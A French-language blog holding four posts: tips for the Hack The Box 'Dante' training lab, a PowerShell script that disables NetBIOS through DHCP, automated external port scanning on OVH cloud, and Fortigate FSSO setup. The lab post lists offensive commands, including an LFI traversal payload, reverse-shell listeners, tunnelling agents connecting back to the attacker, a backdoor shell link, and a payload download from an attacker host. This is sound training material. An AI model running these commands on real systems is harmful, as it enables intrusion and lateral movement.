02 Mar

Dante Pro Lab. – DANTE{tRuCs_&_@stuc3s}

Serez-vous le nouveau flingueur ?

Introduction

Un nouvel article sur la plateforme « Hack The Box » que j’affectionne tout particulièrement 🙂

J’ai profité des soldes de Noël dernier pour souscrire à un abonnement « Pro Lab. » et éviter de payer les frais d’installation. Le coût mensuel était 23 euros TTC « uniquement », et seulement deux mois d’abonnement pour compléter le Lab. « Dante« .

Sans prétention, cet article a pour but de guider un peu celles et ceux qui veulent se lancer dans l’aventure ou qui ont déjà commencé. Attention : Il ne s’agit pas d’un guide complet avec chacune des étapes, tous les drapeaux à découvrir, toutes les techniques etc… plutôt quelques conseils, des outils à utiliser, sur ma méthodologie etc…

Choix du Lab. Pro « Dante »

Sur https://app.hackthebox.com/ j’ai pu atteindre modestement le rang « Pro Hacker » avec une soixantaine de machines à mon actif depuis juin 2019. En majorité des VM de niveau « facile » et « intermédiaire » (3/4) sur Linux et Windows + quelques machines difficiles et challenges.

J’avais d’abord pensé à me présenter pour l’examen OSCP pendant un temps. Mais avec sa durée de 24 heures, je ne veux pas me lancer sans une bonne préparation car cela semble assez intense. Et j’aime bien réussir mes examens du premier coup.

Je voulais donc d’abord m’exercer sur un « vrai » Lab. représentatif de ce qui pourrait m’attendre et sans devoir payer trop cher pour cela. Mon but était de le faire en 2 mois à temps perdu, objectif atteint.

En comparant les différents Lab. proposés sur le site et en parcourant les forum, je me suis dit que Dante serait une bonne porte d’entrée. Et surtout un excellent terrain pour pratiquer sans se ruiner et abordable techniquement, je ne me suis pas trompé.

Présentation du Lab.

Dante comporte réellement 13 machines (le pare-feu est hors scope) : 7 VM Linux et 6 VM Windows.

Il est classé comme « intermédiaire » au niveau de la difficulté, j’estime que cela correspond effectivement : connaissance réseautique, diversités des plateformes/systèmes, technologies et outils variées etc…

Jusqu’à quatre tunnels seront nécessaires pour atteindre l’ensemble des machines. Autant vous dire que l’art du « pivot » ou déplacement latéral prend tout son sens ici !

Le Lab. est réinitialisé automatiquement tous les jours vers 07h00 (UTC) du matin.

Un point important : gardez à l’esprit que vous ne serez pas tout seul dans le Lab. Ce qui implique que des « petits malins » peuvent effacer des données ou les modifier (très rare tout de même, une seule fois dans mon cas en deux mois, sur un drapeau). Mais surtout, vous ne serez pas seul à lancer des scans à tout va, ce qui parfois rend instable le Lab. Il faut savoir prendre une pause quand cela n’aboutit pas et se poser les bonnes questions, un tunnel peut être défaillant sur le chemin, ou bien ICMP est bloqué par un pare-feu etc…

Outils utilisés

OS

Au niveau de l’OS j’ai utilisé kali-linux-2023-W03-vmware-amd64 via VMware Workstation 17 Player. Très stable durant toute mon utilisation et déjà bien fourni en termes d’outils. J’ai pu faire 100% du Lab. avec.

Scan / découverte réseau

j’ai utilisé mon propre outil au départ : MassVulScan

Sinon, le classique Nmap fera des merveilles. Pensez à utiliser les scripts pour la recherche de vulnérabilité ou faire de l’énumération d’utilisateurs par exemple :

nmap -p88 -Pn --script krb5-enum-users --script-args krb5-enum-users.realm='"DOMAIN.ADM"',userdb="'/home/kali/HTB/ProLabs/Dante/all_users.txt'" 10.10.2.5
nmap -Pn -p445 --script smb-vuln-* SERVER-DC03

J’utilise toujours l’option « -Pn » histoire de ne rien rater. Et toujours un seul host à la fois.

Pour UDP (moins pertinent pour ce Lab.), vous avez ce script Perl : udp-proto-scanner

perl udp-proto-scanner/udp-proto-scanner.pl 10.10.2.0/24

Pour la découverte réseau, vous avez aussi nbtscan qui est fort utile pour obtenir des informations NetBIOS sur un environnement Windows :

nbtscan -l 10.10.1.0/24

Et n’oubliez pas les entrées ARP aussi :

arp -na
arp -a

Ou carrément arp-scan mais cela nécessite « un peu » de compilation :

arp-scan -l

Quand le ping passait j’utilisais fping pour scanner un sous-réseau complet :

fping -a -g -s -q 10.10.2.0/24

Pivoting / Tunneling

Deux outils essentiels à connaître : SSHUTTLE et LIGOLO-NG

Oubliez tout le reste, sincèrement. Dans mon cas, j’utilisais SSHUTTLE en premier puis LIGOLO-NG pour les autres tunnels (stabilité, performance) :

SSHUTTLE :

sudo SSH_AUTH_SOCK="$SSH_AUTH_SOCK" sshuttle --method=tproxy --disable-ipv6 --exclude 10.10.10.3 -e "ssh -i id_rsa_root" -r root@10.10.10.3 10.10.1.0/24

LIGOLO-NG :

sudo ./proxy -selfcert
./agent(.exe) -connect 10.10.14.209:11601 -ignore-cert

Une fois l’agent connecté, il faut lister les sessions (session + [ENTER]) depuis Kali, sélectionner celle que l’on veut activer (choisir le numéro ou utiliser les flèches de direction + [ENTER]) et la démarrer (start + [ENTER]). Sans cela, pas de routage possible. Et il sera nécessaire de « switcher » les tunnels pour atteindre les autres réseaux après les premiers pivots (répondre « yes« ).

Comme indiqué lors de la présentation, les connexions ou tunnels ne sont pas toujours stables et parfois ICMP était bloqué. Du coup, j’avais une fenêtre qui était ouverte en permanence vers le host que j’attaquais sur le port concerné, ou vers un agent, avec un check en continue, comme ceci :

Ex. d’un test de port TCP en continue vers un host

Voici le script si cela vous intéresse, je m’en sers d’ailleurs régulièrement, fort utile :

#!/bin/bash

host=$1
port=$2
bold_color="\033[1m"
end_color="\033[0m"

if [ -z $host ] || [ -z $port ]; then
    echo -e "${bold_color}Usage: `basename $0` [HOST] [PORT] (only compatible with TCP)${end_color}"
    exit 1
fi

while :; do
    result=`nc -z -v -w 1 $host $port > /dev/null 2>&1`
    if [ $? -gt 0 ]; then
        echo -e "`date +'%Y/%m/%d %H:%M:%S'` - port $port is \033[0;31mclosed or down\033[0m for host $host"
        sleep 0.5
    else
        echo -e "`date +'%Y/%m/%d %H:%M:%S'` - port $port is \033[0;32mopen\033[0m for host $host"
        sleep 0.5
    fi
done

Buffer Overflow (BOF)

L’outil GDB-PEDA était suffisant, par contre j’ai dû l’installer à partir du dépôt GitHub : https://github.com/longld/peda

En effet, je voulais pouvoir travailler confortablement depuis ma VM Kali sans avoir de déconnexions intempestives. Il faut juste arriver à se mettre dans les mêmes conditions que le serveur à attaquer.

Surveillance des processus

Là aussi, un seul outil que je recommande (Linux) : pspy

Il suffit de le lancer et d’attendre un peu.

Recherche de vulnérabilités

Depuis un serveur Windows ou Linux j’ai utilisé le même outil : https://github.com/carlospolop/PEASS-ng

Sinon, vous avez la base de données exploit-DB et leur outil searchsploit :

searchsploit MS17-010
searchsploit -m 41891

Metasploit

L’incontournable, même si je voulais limiter son utilisation, il m’a été utile plusieurs fois (tester des couples « utilisateurs/mots de passe », obtenir un Shell avec privilèges etc…) : https://www.kali.org/tools/metasploit-framework/

Gardez en tête qu’il est parfois utile de changer de contexte de processus pour aller plus loin.

Shell / Reverse Shell

Une seule source très complète sur les possibilités : https://gtfobins.github.io/

Dans le cas du Reverse Shell, je vous conseille d’utiliser ce que l’on appelle un « wrapper » associé à Netcat pour plus de confort côté Kali. Par exemple : rlwrap

rlwrap nc -nlvp 1337

Exemple de Shell PHP minimaliste sinon : https://github.com/backdoorhub/shell-backdoor-list/blob/master/shell/php/mini.php

Et une version compilé Windows de Netcat : https://github.com/cyberisltd/NcatPortable

Windows

Deux outils à connaître, de véritables « couteaux suisses« , pour s’attaquer à un serveur Windows : CrackMapExec et Impacket

Que ce soit pour faire de l’énumération (version d’OS un serveur, version SMB, brute-force/password spraying, hashdump etc…) ou tout simplement pour réaliser une attaque (Kerberos, SQL etc…). Tout y est.

Répertoires et fichiers d’un serveur Web

Pour l’énumération ou la recherche de fichiers/répertoires, deux outils suivant ce que l’on cherche : Wfuzz et Feroxbuster

Idem, limiter le nombre de threads en parallèle.

wfuzz -c -w /home/kali/HTB/ProLabs/Dante/list.txt --hw 0 'http://10.10.1.10/page1.php?page=../../../../../../../../var/www/html/website/FUZZ'
feroxbuster --url https://www.monsite.com --extract-links --insecure --redirects --wordlist /home/kali/HTB/ProLabs/Dante/list.txt -t 2 --dont-scan https://www.monsite.com/

Mots de passe

Il n’est pas toujours utilise de chercher à casser des mots de passe avec John ou Hashcat, il a d’autres façons de s’en servir.

Et il est rarement nécessaire de faire du brute-force avec de grosses listes pour trouver un mot de passe, et surtout, ne pas trop forcer (nombre de threads simultanés etc…) au risque de passer à côté.

Pour générer sa propre liste de mots avec CeWL par exemple :

cewl -d 2 -m 5 -w words.txt http://10.10.110.3:15000/website/

Copie de fichiers

Suivant l’environnement (Windows ou Linux) vous serez amener à déposer ou transférer des fichiers ou scripts.

Quelques commandes utiles :

python3 -m http.server 80
scp -i id_rsa_bobylapointe script.sh bobylapointe@10.10.2.6:/tmp
*Evil-WinRM PS C:\temp> upload /home/kali/HTB/ProLabs/Dante/script.exe
powershell IWR http://10.10.14.15/script.exe -OutFile script.exe

Articles ou sites

Quelques articles utiles en vrac :

https://ovelny.sh/blog/easy-tunneling-with-sshuttle/

https://kentosec.com/2022/01/13/pivoting-through-internal-networks-with-sshuttle-and-ligolo-ng/

https://blog.yikuo.dev/2020/01/08/GCI2019-BufferOverflow/

https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/64-bit-stack-based-buffer-overflow

https://subscription.packtpub.com/book/networking-and-servers/9781849517423/5/ch05lvl1sec47/privilege-escalation-and-process-migration

https://www.w3schools.com/tags/ref_urlencode.ASP

https://www.base64decode.org/

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt

Discord

Pour être honnête, je n’ai pu compléter ce Lab. seul qu’à hauteur de 90-95%. Mais les 5-10% restants c’était grâce à la communauté Discord du canal officiel Hack The Box (#prolabs-dante).

PwnKit (CVE-2021-4034)

Une note sur ce CVE : vous verrez cette faille apparaître régulièrement lorsque vous lancerez vos scripts de détection de vulnérabilités. Ne cédez pas à la tentation ! En effet, ce Lab. a été construit en 2020 donc avant sa découverte.

Je vous confirme que cela fonctionne mais testez cette faille une fois le chemin attendu identifié. Même si dans la « vrai vie » un « malotru » ne se gênerait pas et irait au plus efficace, c’est sûr !

Conclusion

Sachez prendre des pauses, je suis parfois resté 2-3 jours bloqués alors que j’avais la réponse sous les yeux. On dit souvent que l’étape d’énumération est l’une des plus importantes, et bien je vous le confirme. Et ne pas aller trop vite, je passais à côté d’un détail qui avait son importance à chaque fois.

Persévérez, faites le maximum avant de céder à la tentation de demander de l’aide. Dans mon cas, je n’ai pas eu le choix pour la partie Buffer Overflow (BOF), c’était une découverte pour moi et je me suis trouvé noyé dans des tas d’articles avant d’avoir les bons.

Pour ce Lab. inutile d’imaginer des attaques complexes. Cela reste un Lab. accessible n’oubliez pas, qui vous permet de tester différents outils, rien d’insurmontable.

Et une dernière chose, n’oubliez pas de tout explorer (codes sources, historique, fichiers cachés etc…), même une fois le serveur compromis durant votre phase d’énumération. Il faut avoir en « tête » une liste type des choses à vérifier systématiquement sur chacune des VM pour ne rien rater.

Voilà, merci pour votre lecture et bon courage ! Et si besoin d’aide, je suis sur Discord ou via ce site.

21 Mar

Script PowerShell pour désactiver NetBIOS (DHCP)

Introduction

‎Les protocoles de la suite NetBIOS sur TCP/IP (ou NBT) implémentent les services NetBIOS sur TCP et UDP, qui sont décrits dans ‎‎RFC 1001‎‎ et ‎‎RFC 1002‎‎ :

  • NetBIOS Name Service : NBNS sur UDP (ou TCP) port 137 (similaire à DNS et aussi connu sous le nom WINS)
  • NetBIOS Datagram Service : NBDS sur UDP port 138 (peu utilisé)
  • NetBIOS Session Service : NBSS sur TCP port 139

En gros, il permet à un poste client Windows de rechercher un nom sur le réseau (broadcast) après une recherche DNS classique qui n’aboutit pas : fichier « host » local -> cache DNS local -> serveur DNS puis NBNS.

On parle d’une méthode qui date de la fin des années 80. Autant dire la préhistoire en informatique !

Aujourd’hui, il n’y a plus lieu de l’utiliser en entreprise (sauf cas spécifiques). Et surtout, il pourrait compromettre votre entreprise car il est simple de mettre en écoute un faux serveur qui répondrait aux requêtes clientes et ainsi intercepter/collecter les valeurs de hash NTLMv1 et v2.

Il suffirait ensuite à l’attaquant de réutiliser ce hash suivant la technique du « pass-the-hash » pour s’en servir contre les ressources internes. En effet, dans certains cas, il n’est même pas utile de connaître le mot de passe…

Cet article permet d’apporter une partie de la solution en désactivant globalement NetBIOS à la source, au niveau des serveurs DHCP Windows d’un domaine d’entreprise. Grâce à ce script.

Ainsi, après renouvellement du bail, toute nouvelle requête DHCP ou client DHCP recevra ces informations, visibles avec un « ipconfig /all » en ligne de commande (CMD) une fois l’adresse IP attribuée.

Pourquoi un script PowerShell ?

Tout simplement pour permettre de faire les changements sur un grand parc de serveurs DHCP. Dans mon cas, une trentaine de serveurs DHCP (correspondants à une trentaine de sites autonomes).

Le faire manuellement peut vite devenir fastidieux : quantité importante de serveurs, de scopes, une latence élevé pour peu que les serveurs soient éloignés géographiquement et malgré le mode cluster, ces informations ne se répliquent pas d’un serveur à l’autre…

D’où l’idée du script PowerShell.

Que fait ce script ?

Il va tout simplement permettre d’activer ou désactiver NetBIOS sur les serveurs DHCP Windows (options scopes « Avancées »).

Dans les grandes lignes :

  1. Obtenir la liste complète des serveurs DHCP du domaine‎ Windows
  2. ‎Sélection du serveur DHCP‎ sur lequel faire le changement
  3. ‎Vérifiez si le serveur est accessible ainsi que l’adresse IPv4 associée‎
  4. ‎Choix d’activer ou de désactiver NetBIOS
  5. ‎Confirmation avant d’exécuter le script‎
  6. ‎Boucle sur les scopes présents pour effectuer la modification‎
  7. ‎Afficher le temps d’exécution du script sur le serveur DHCP et consigner les modifications stockées dans %TEMP%.

J’ai fait le choix d’effectuer les changements serveur par serveur mais il est facilement modifiable pour qu’il puisse faire les changements sur tout un domaine d’un coup.

Conclusion

Pour rappel, le script ce trouve ici et il est suffisamment commenté je pense.

Voilà, j’espère qu’il pourra aider certains administrateurs. Je n’étais pas très familier avec PowerShell mais finalement je le trouve très accessible comme langage, plus que Python pour ma part par exemple.

Si voulez poursuivre la sécurisation de votre réseau en retirant les « vieux » protocoles obsolètes, je vous conseille cet article qui complète le travail en désactivant LLMNR et indique la marche à suivre côté client aussi si besoin.

Un dernier point bénéfique que je n’ai pas mentionné en désactivant NetBIOS c’est l’amélioration des performances du réseau.

30 Juil

Déployer un scanner sur OpenStack (API OVH)

Déployer et lancer automatiquement le scanner MassVulScan depuis des instances OpenStack du Cloud Public d’OVH.

Introduction

Les entreprises, notamment, devraient s’assurer de ne pas exposer sur l’Internet des ports réseaux de manière indésirable.

Dans ce but, j’ai voulu aller plus loin avec le scanner MassVulScan en permettant d’effectuer un scan depuis n’importe où sur l’Internet sans devoir louer plusieurs serveurs chaque mois et tout réinstaller à chaque fois.

En effet, lorsque l’on utilise continuellement la ou les mêmes adresses IP source pour scanner son réseau on risque de masquer certaines failles de sécurité : certaines autorisations (théoriquement) accordées qu’à celles-ci, utilisation de mécanismes de sécurité comme fail2ban qui les bloqueraient..

Du coup, malgré des scans réguliers, certains ports peuvent rester ouverts longtemps à tout va sans que l’on s’en aperçoive.. je parle par expérience !

J’ai donc cherché et réfléchi à une solution qui répondrait à ce cahier des charges :

  • Facilité, simplicité et rapidité du déploiement
  • Lancement automatique d’un scan complet
  • Faible coût de fonctionnement et ne payer qu’à l’usage
  • Fournisseur Cloud disposant de plusieurs Data Center répartis sur la planète
  • Fournisseur Cloud tolérant cette pratique

Solution

Voici le script Bash que j’ai développé qui répond à mes besoins : osic4MVS

osic4MVS a.k.a. OpenStack Instance Creation For MassVulScan

J’ai retenu le fournisseur de Cloud OVH que j’utilise de longue date, meilleur rapport qualité/prix selon moi. La facturation du Cloud Public est claire (à la demande et sans coûts cachés), la tarification est attractive (0.03$ CAD pour mes scans sur BHS3), et leur interface Web est simple et efficace.

Le script Bash va donc s’appuyer sur l’API d’OVH pour déployer en quelques minutes un instance OpenStack sur laquelle sera installée MassVulScan.

Prérequis

Script

Le script Bash ne fonctionne que sur les OS de la famille Debian.

Le serveur à partir duquel sera lancé ce script devra avoir accès à l’Internet, plus précisément :

  • ICMP Echo Reply (ping)
  • SSH port TCP 22

Voici la liste des paquets à installer, suivant si vous utilisez Python 2.x ou Python 3.x :

apt update
apt install python-openstackclient s-nail screen dnsutils ipcalc netcat

Ou :

apt update
apt install python3-openstackclient s-nail screen dnsutils ipcalc netcat

Fournisseur OVH

Vous devez bien-sûr posséder un compte OVH et créer votre projet Cloud Public : OVHCloud

Ici mon projet s’appelle tout simplement « SCANS » :

Mon projet « SCANS »

Ensuite il faut créer un utilisateur OpenStack, rendez-vous dans : Public Cloud / Project Management / Users & Roles

Comptes utilisateurs et rôles

Ajoutez un nouvel utilisateur (avec une description) en lui affectant le rôle « Compute Operator » :

Ce rôle est suffisant pour le fonctionnement du script

On ne peut pas choisir le nom d’utilisateur qui est généré aléatoirement sous la forme « user-XXXXXXXXXXXX », tout comme le mot de passe. Voici notre nouvel utilisateur créé pour notre démonstration :

Nouvel utilisateur en cours de création – Notez bien le mot de passe

N’oubliez pas de noter le mot de passe ! En cas d’oubli, cliquez sur les trois petits points à droite du compte utilisateur pour accéder aux options et en regénérer un nouveau :

Les options du compte utilisateur

Profitez-en pour télécharger de suite le fichier OpenStack RC qui correspond en fait à vos variables d’environnement, il nous sera utile pour la suite. Lors du téléchargement on vous demandera sur quelle région ( = quel Data Center et pays) ce fichier s’appliquera, j’ai choisi ici l’Amérique du nord et leur centre Canadien BHS3 :

Sélectionner une région ou plutôt un centre de données attaché au fichier OpenStack

Rendez-vous sur l’interface Web Horizon pour gérer votre instance OpenStack : Public Cloud / Management Interfaces / Horizon

Choisissez bien votre région, ici BHS3 :

Choisir la région, ici BHS3, Canada

Ensuite, nous allons générer une paire de clés SSH : Project / Compute / Key Pairs

Créez votre paire de clés comme ici, elle se nommera « demo » :

Création d’une paire de clés SSH (privée/publique)

Une fois la création terminée, votre clé SSH privée sera automatiquement téléchargée, comme ici :

Ma clé privée pour la démonstration

C’est terminé, nous avons donc nos quatre éléments importants pour le script Bash :

  1. Un compte utilisateur OpenStack chez OVH Cloud Public
  2. Un fichier OpenStack RC contenant nos variables d’environnement
  3. Une paire de clé SSH
  4. Le nom de notre clé SSH publique

Installation et utilisation

Installation

L’installation du script Bash est très simple :

git clone https://github.com/choupit0/osic4MVS.git
cd osic4MVS
chmod +x osic4MVS.sh && chmod +x deploy.sh

Ensuite, afin d’automatiser l’utilisation nous allons indiquer le mot de passe directement dans le fichier OpenStack RC. Commentez les lignes 25 à 27 puis ajoutez-en une nouvelle contenant le mot de passe de l’utilisateur OpenStack, comme ceci :

On ajoute le mot de passe de l’utilisateur

Sans cela, il vous sera demandé de saisir le mot de passe plusieurs fois durant le déroulement du script Bash.

Après, déposez votre clé privé et votre fichier OpenStack RC dans un endroit sécurisé et protégez-les comme ici :

chmod 600 openrc.sh
chmod 600 demo.pem

Lecture/écriture pour le propriétaire uniquement, cela peut-être le compte « root », utilisez ensuite « sudo » pour appeler le script Bash par exemple.

Utilisation

On y arrive !!!

Un beau menu vous attend 🙂

Vous aurez besoin de préciser quatre arguments pour pouvoir lancer le script Bash :

  1. Le chemin vers le ou les fichiers contenant les noms d’hôtes et/ou adresses IPv4, format CIDR
    • Un fichier obligatoire : celui contenant les hosts à scanner
    • Un fichier optionnel : celui contenant les hosts à exclure
      • Pour exclure les passerelles de vos opérateurs par exemple
  2. Le chemin vers votre fichier OpenStack RC
  3. Le chemin vers votre clé SSH privée
  4. Le nom de votre clé publique SSH

Le script doit être lancé avec les droits « root » (avec « sudo » ou non), comme ceci :

./osic4MVS.sh -f scanme-nmap -r conf/openrc.sh -k keys/demo.pem -p demo

Et voilà le résultat, ici l’exécution complète du script, en 4 minutes et 20 secondes :

Script Bash exécuté en moins de 5 minutes !!!

Rapports

Voici les rapports générés suite au scan du site « scanme.nmap.org » utilisé dans la démonstration :

Suivre le déroulement

Après avoir vérifié les arguments passés, le script Bash effectuera les étapes suivantes :

  1. Vérifier l’accessibilité du Cloud Public d’OVH
  2. Vérifier les instances OpenStack existantes
  3. Analyse du ou des fichiers sources (pour ne garder que les entrées valides)
  4. Création de l’instance
  5. Attente de la disponibilité du serveur (ping + SSH)
  6. Déploiement du scanner MassVulScan
  7. Envoi du ou des fichiers hosts
  8. Lancement du scan MassVulScan : Masscan puis Nmap + vulners.nse
  9. Récupération des rapports en local via SCP (si il y a lieu)
  10. Suppression des sessions screen et OpenStack

Screen

Il vous sera possible de suivre l’installation et le scan en live si vous le souhaitez à travers une session screen. Comme ici avec le précédent scan de démonstration :

Session screen pour le suivi ou surveillance

En l’occurrence, vous aurez juste à taper dans un second terminal (droits « root ») :

screen -r scan_2021-07-30_121820

Et pour sortir sans fermer la session, faites au clavier :

CTRL + A et D

Courriels

Pour s’assurer du bon fonctionnement du script et/ou si vous prévoyez de lancer un gros scan de plusieurs heures, vous avez la possibilité de renseigner une ou plusieurs adresses courriels et un serveur SMTP(S).

Vous serez avertis à trois moments différents :

  1. Au démarrage effectif du scan
  2. A la fin du scan vous recevrez les rapports (si il y a lieu)
  3. Une fois la session screen et instance OpenStack supprimées

Il vous suffit pour cela de modifier les variables suivantes dans le script :

  • smtp_server = serveur SMTP(S) à utiliser
  • from_address = adresse email d’émission/retour
  • recipient = liste des destinataires (séparer par une virgule », »)
  • auth_user_pass = utilisateur et mot de passe encodés dans un URI (si besoin)

Un exemple ci-dessous pour l’encodage dans un URI :

root@HTB:~/osic4MVS# printf 'urlcodec encode demo@ovh.com' | s-nail -#
demo%40ovh.com
root@HTB:~/osic4MVS# printf 'urlcodec encode *ThisIsMyGreatPassW0rd!' | s-nail -#
%2AThisIsMyGreatPassW0rd%21

Il suffit d’assembler les deux informations en ajoutant deux point « : » entre les deux, comme ici :

auth_user_pass="demo%40ovh.com:%2AThisIsMyGreatPassW0rd%21"

Des exemples ci-dessous de courriels envoyés depuis les serveurs d’OVH :

Exemples de courriels envoyés durant la vie du script

Conclusion

J’utilise régulièrement cet outil (professionnellement) pour m’assurer de ne pas laisser de ports ouverts par inadvertance, surtout lorsque l’on travaille à plusieurs. Il suffit d’une erreur humaine ou d’appliquer une mise à jour pour se retrouver exposer sans le vouloir.

Vous pouvez programmer un lancement hebdomadaire via une tache cron, comme ici toutes les fins de semaine :

0 0 * * 0 bash /home/superuser/audit/ovh/osic4MVS.sh

Et avec les courriels on peut s’assurer du bon fonctionnement et on récupère les rapports facilement.

N’hésitez pas à laisser vos commentaires ! Merci d’avoir lu jusqu’au bout 😉

27 Mai

Fortigate, utiliser FSSO en mode Polling via WMI (1/2)

Introduction

FSSO ?

Fortinet Single Sign-On (FSSO), anciennement connu sous le nom de FortiGate Server Authentication Extension (FSAE), est le protocole d’authentification par lequel les utilisateurs peuvent s’authentifier de manière transparente auprès des appareils FortiGate (notamment).

Pourquoi utiliser ce mode et cette méthode ?

Après, contrairement au mode FSSO « DC Agent mode », le mode FSSO « Polling » évite l’installation d’un agent sur chacun des contrôleurs de domaine. Cela peut être problématique dans certaines organisations.

Ensuite, la récupération des événements de connexion des utilisateurs via WMI apporte d’autres avantages : plus de fiabilité dans la récupération des événements, une charge réseau réduite entre l’agent collecteur et les contrôleurs de domaine et enfin la possibilité d’utiliser un compte de service avec des droits restreints.

Comme on peut le voir sur le schéma ci-dessous, l’agent collecteur interroge directement les contrôleurs de domaine et le Fortigate récupère régulièrement les mises à jour :

Ce premier article sera consacré à l’installation et la configuration de l’agent FSSO sur un serveur Windows. Un second article permettra de voir son utilisation sur un Fortigate.

Permissions WMI sur les DC

Un des pré-requis pour pouvoir utiliser ce mode est d’appliquer certains droits au compte de service ou utilisateur qui sera utilisé par le service « Fortinet Single Sign On Agent Service ».

Pour cela, lancez la console « Windows Management Instrumentation » (WMI) sur chacun de vos contrôleurs de domaine concerné (wmimgmt.msc) :

  • Clic-droit sur « Contrôle WMI » puis « Propriétés »
  • Sélectionnez l’onglet « Sécurité » et étendre « Root »
  • Sélectionnez « CIMV2 » puis cliquez sur le bouton « Sécurité »
  • Ajoutez ensuite l’utilisateur / compte de service qui sera utilisé, ici « fsso_agent »
  • Puis donnez-lui les droits : « Appel à distance autorisé » et « Activer le compte »
  • Dans la même fenêtre, cliquez-sur « Avancé »
  • Sélectionnez l’utilisateur / compte de service dans l’onglet « Autorisations »
  • Cliquez sur « Editer » et appliquez les droits « Cet espace de noms et les sous-espaces de noms »
  • Enregistrez les changements en cliquant sur « OK »

Redémarrez ensuite le service WMI (services.msc) qui porte le nom « Windows Management Instrumentation », clic-droit puis « Redémarrer » :

Ouverture de flux réseaux à prévoir

Une matrice des flux sera faite plus tard, en attendant vous pouvez voir cet article de chez Fortinet :

https://docs.fortinet.com/document/fortigate/6.4.0/ports-and-protocols/879117/fsso-fortinet-single-sign-on

Installation et configuration de l’agent collecteur

Pré-requis pour l’installation et fonctionnement

Rendez-vous sur le site de Fortinet pour télécharger la version la plus récente de l’agent collecteur en fonction de votre version la plus récente du FortiOS installé (OS Fortigate). Par Ex. ici la version correspondante, ici 5.0.0276 (version 64 bits) compatible avec les Fortigate FortiOS 6.0.5 (même démarche pour les versions 6.2.x ou 6.4.x) :

A noter que la version de l’agent collecteur reste (rétro) compatible avec les anciennes versions de FortiOS (5.6, 5.4 etc…). Pensez à vérifier que le fichier téléchargé n’est pas corrompu en comparant les checksum :

Astuce : J’utilise l’extension http://code.kliu.org/hashcheck/ qui est bien pratique au quotidien pour cela. Sinon en PowerShell :

PS C:\Users\username\Downloads> Get-FileHash -Algorithm MD5 .\[filename]

Assurez-vous ensuite que votre serveur collecteur accepte les connexions entrantes sur le port TCP 8000, dans le cas contraire, ajoutez une règle de filtrage sur le firewall local et/ou sur tout autre firewall qui serait entre le Fortigate (source) et l’agent collecteur (destination).

Il vous faudra bien-sûr un serveur Windows, j’ai choisi la version 2016 dans ce cas-ci (ne faites pas attention aux captures d’écran + haut prises sur 2008/2012, c’est le même principe quelle que soit la version de l’OS).

Dernier point, vous devez bien-sûr disposer des droits d’administrateur pour l’installation de l’agent collecteur.

Installation

  • Lancez l’exécutable et cliquez sur « Next »
  • Acceptez les conditions d’utilisation puis cliquez sur « Next » deux fois (on garde le répertoire par défaut « C:\Program Files (x86)\Fortinet\FSAE\ »
  • Saisissez ensuite correctement l’utilisateur / compte de service qui lancera le service, ici « fsso_agent » :
  • Cliquez sur « Next »
  • Cochez les deux options et sélectionnez la méthode « Advanced » :

Contrairement au mode « Standard », ce mode permet d’utiliser directement les comptes utilisateurs AD au niveau des règles de filtrage du Fortigate, pas seulement les groupes donc. Cela apporte plus de souplesse et de finesse.

Il permet en outre d’appliquer une règle de filtrage sur une OU ou un groupe AD contenant des groupes imbriqués, cela ne se limite plus au groupe. Ce qui est impossible dans le mode « Standard ».

Enfin, on aura la possibilité de « pousser » les groupes que l’on souhaite filtrer/utiliser depuis le Fortigate vers l’agent collecteur.

  • Procédez à l’installation en cliquant sur « Install » et patientez
  • Enfin, décochez la case « Launch DC Agent Install Wizard » et cliquez sur « Finish » :

Nous voyons qu’un nouveau service a été créé :

Droits sur le répertoire d’installation

Nous devons maintenant attribuer les droits en lecture / écriture à notre utilisateur / compte de service afin, notamment, qu’il puisse écrire ses fichiers de logs.

  • Ouvrez l’explorateur de fichiers et faites un clic-droit sur le répertoire « C:\Program Files (x86)\Fortinet\FSAE », choisir « Propriétés »
  • Dans l’onglet « Sécurité », cliquez sur « Modifier » puis « Ajouter » afin d’ajouter l’utilisateur / compte de service
  • Attribuez-lui les droits « Contrôle total » en cliquant sur « Autoriser »
  • Puis « Appliquer » et « OK » deux fois :

Redémarrez ensuite le service « Fortinet Single Sign On Agent Service » pour que les changements soient pris en compte :

Une nouveau fichier de log fera son apparition :

Groupes AD et droits dans la base de registre

L’utilisateur / compte de service doit faire partie du groupe AD « Event Log Readers » :

Ensuite, ce dernier doit avoir les pleins droits sur les clés et sous-clés de registre de l’agent collecteur. Pour cela, lancer l’utilitaire « regedit.exe » et modifier celles-ci, choisir le chemin correspondant à votre système :

  • 32bit :[HKEY_LOCAL_MACHINE\SOFTWARE\Fortinet\FSAE\collectoragent]
  • 64bit :[HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Fortinet\FSAE\collectoragent]

Vous devez ensuite donnez le contrôle d’accès total à l’utilisateur / compte de service via :

  • Clic-droit sur le répertoire « collectoragent » puis choisir « Autorisations »
  • Ajouter le utilisateur / compte de service via le bouton « Ajouter »
  • Le sélectionner et cocher « Autoriser » devant « Contrôle total »
  • Enregistrez les changements en cliquant sur « OK »
  • Redémarrer le serveur collecteur pour prendre en compte les changements

Configurer l’agent collecteur

Lancez l’agent collecteur « FSAEConfig.exe » et cliquez sur « Run as administrator » pour accéder à toutes les fonctions :

En premier lieu, définissez un nouveau mot de passe qui sera utilisé par le ou les Fortigate. Pour cela, supprimez le contenu du champ « Password », insérer votre mot de passe et cliquez sur « Apply ». Pour chaque changement enregistré, une petite fenêtre s’ouvrira :

Note : en cas de problème lors de vos premiers tests, sachez que le mot de passe par défaut est « fortinetcanada ».

Ensuite, il est préférable d’avoir un fichier log pour les événements (connexions/déconnexions/mises à jours) utilisateurs, c’est plus facile pour le débogage. Pour cela, cliquez sur « Log logon events in separate logs » et cliquez sur « Apply » :

Aussitôt, un nouveau fichier de log sera créé dans le répertoire FSAE contenant toutes les logs :

Il vous suffira ensuite de cliquer sur « View Logon Events » pour ouvrir ce fichier et le visualiser.

Configurer les Event ID à récupérer

Nous devons indiquer à l’agent collecteur tous les Event ID que nous voulons « sonder » car par défaut, il ne prend pas en charge toutes les versions d’OS Windows, il en filtre pas mal.

  • Cliquez sur « Advanced Settings et dans le champ « Event IDs to poll » (section « Windows Security Event Logs ») indiquez cette liste :

672;673;680;528;540;4768;4769;4776;4624;4770

Ainsi, toutes les versions de Windows depuis 2003 jusqu’à 2016 fonctionneront (je n’ai pas testé avec 2019) :

